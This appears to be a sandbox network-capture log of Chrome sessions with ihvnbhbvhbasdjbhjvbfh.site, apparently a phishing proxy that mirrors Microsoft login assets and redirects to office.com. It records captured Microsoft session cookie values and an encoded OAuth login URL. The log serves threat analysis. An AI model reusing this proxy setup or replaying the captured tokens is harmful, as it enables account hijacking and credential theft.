buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:07 UTC	1390	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:07 GMT Content-Type: application/x-javascript content-length: 4730 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE85F09C x-ms-request-id: 46af2406-e01e-0068-19ac-a0ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183206Z-17859dc676bqqb2w18qtkt3gv400000005tg00000001y10c x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:32:07 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-05-07 18:32:07 UTC	1652	IN	Data Raw: e5 57 ed 53 db 36 18 ff de bf 42 78 1f 48 8a ed bc 10 92 90 36 bb 6b 81 0e ba 52 72 24 eb 6e 07 5c 4e 96 95 44 60 4b 3e 49 4e c8 80 ff 7d 8f 14 3b c4 21 74 b4 bd dd 6d 37 ee 88 13 e9 79 f9 3d 2f bf 47 72 e5 f5 d6 2b f4 1a 79 2f ff 43 fd c1 bb f3 01 3a fb 80 06 c7 27 e7 87 a8 07 bf fe 40 9f cf 06 27 07 47 2f b7 63 9c 9a ff c1 84 29 34 62 11 45 f0 0c b0 a2 21 12 1c 09 89 18 27 42 26 42 62 4d 15 8a e1 53 32 1c a1 91 14 31 d2 13 8a 12 29 ae 29 d1 0a 45 4c 69 50 0a 68 24 66 a8 04 e6 64 88 7a 58 ea 39 3a e9 95 7d b0 4f c1 1a 1b 33 0e da 44 24 73 f8 3e d1 88 0b cd 08 45 98 87 d6 5a 04 3f b8 a2 28 e5 21 95 68 36 61 64 82 4e 19 91 42 89 91 46 92 12 ca a6 e0 44 a5 b0 5e 74 e1 22 2c 29 52 54 a3 91 90 7a b2 c0 e1 a3 be 91 cc ac 2a eb 66 e1 51 59 71 00 3f 65 21 18 1c Data Ascii: WS6BxH6kRr$n\ND`K>IN};!tm7y=/Gr+y/C:'@'G/c)4bE! 'B&BbMS21)) ELiP h$fdzX9:}O3D$s>EZ?(!h6adNBFD^t",)RTz*fQYq?e!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49831	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:06 UTC	2812	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:06 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:06 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 9dbce097-301e-006d-45ac-a078a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183206Z-1675f555588rqccl3nmbux57zn000000050000000000u0q8 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:32:06 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0! ,`6PlH I:qJk`BYL&! ,0<[\K8jtrg! ,3^; \UK]\%Vc! , 7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49830	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:06 UTC	2806	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:07 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:07 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 010391cf-001e-004a-0cac-a0389a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183206Z-17859dc676b9sbrwq9795d7ev400000000u000000001ypcs x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:32:07 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii! !&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlH I:qJk`BYL*&! ,`9iQ4Hj =k9-5_j7({ ! ,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49832	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:07 UTC	1915	OUT	GET /owa/ HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:07 UTC	160	IN	HTTP/1.1 301 Moved Permanently location: https://www.office.com/?auth=2 Date: Tue, 07 May 2024 18:32:07 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:32:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49833	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:07 UTC	1714	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:07 UTC	160	IN	HTTP/1.1 301 Moved Permanently location: https://www.office.com/?auth=2 Date: Tue, 07 May 2024 18:32:07 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:32:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49835	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:07 UTC	1708	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:32:08 UTC	160	IN	HTTP/1.1 301 Moved Permanently location: https://www.office.com/?auth=2 Date: Tue, 07 May 2024 18:32:08 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:32:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49836	13.107.9.156	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:08 UTC	345	OUT	GET /?auth=2 HTTP/1.1 Host: www.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:08 UTC	2645	IN	HTTP/1.1 302 Found Cache-Control: no-store,no-cache Pragma: no-cache Location: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035280840449.OTRlOGNkN2ItYzhkZS00YmMwLWE1ZDQtNjQ5MjcxZDY1NDY3ZWRkYWViNWItMjkxYi00NDQwLTgyMmItN2Q3Y2E1MDU1ZDY0&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=bb4b202c-6e52-4741-8b38-070b690e0dae&state=1OKojACusRWgFd1OJ5G2yMeieJSDXTbXDyJl1wpBxtKey5WIuxHjZIiFqWXS3wfHi3yf7BZOy-FvVhUJhfTNGYS1kwbtnX5Ud0IjhcPLHz-4GkM27sHyUmUAwazpi7IIZejRJW2Vug_SVQm9kSOoGI_Kcl-v0Wp5p1HAxBnguIrn6MEAxBRyvEOVtHkCu6oetVSaRD5rSNWzFbg1sO4GwFDVjlFkOui9Q29awRGjrv1jeJwaviQCPcVxfblI3oH_SxE53SI4Rt5oVF_S5LTW5cOby6cy-yXC_lPqj8AgIX8OyYSUoIgQ6i4u0stNcguAdFMFjQOulR-WoNAvVe_q05HsNy9HgEhMJ0r7jceOVO8&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0 Set-Cookie: OH.DCAffinity=OH-eus; expires=Wed, 08 May 2024 02:32:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.FLID=9ca0aa88-0cb2-4974-b782-eda10d94fd24; expires=Wed, 07 May 2025 18:32:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: CreateFreeAccountButton=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: p.UnauthUserCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.uBqCHfptjaWhqMte5F400E77sykRbxMV2hBe6ADqWlZVLyeJT4VFoFoSiVWvtaTSyLLq5QH69_YVYtR9YosB2vNlFoIqr1nxBtjl5coPBOhbZTUd5-Meg2ZBIWA8chzhIt2GSIWr1Ms5B_p2pfBD8g9iu9v2hoETwq1Q17PM-GV2tO0IZCqgN1dwA-DBmlUWpiTvRHreKkulEqzgDHXC13nz9qSIErRZv-J39-Qchlt5V8RMwgHHvi1s1B1GY9zx=N; expires=Tue, 07 May 2024 18:47:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.dWRmmb8VBiscb9fNDtNzAzir9JMlb5r9avccfZqR_4Q=N; expires=Tue, 07 May 2024 18:47:08 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff 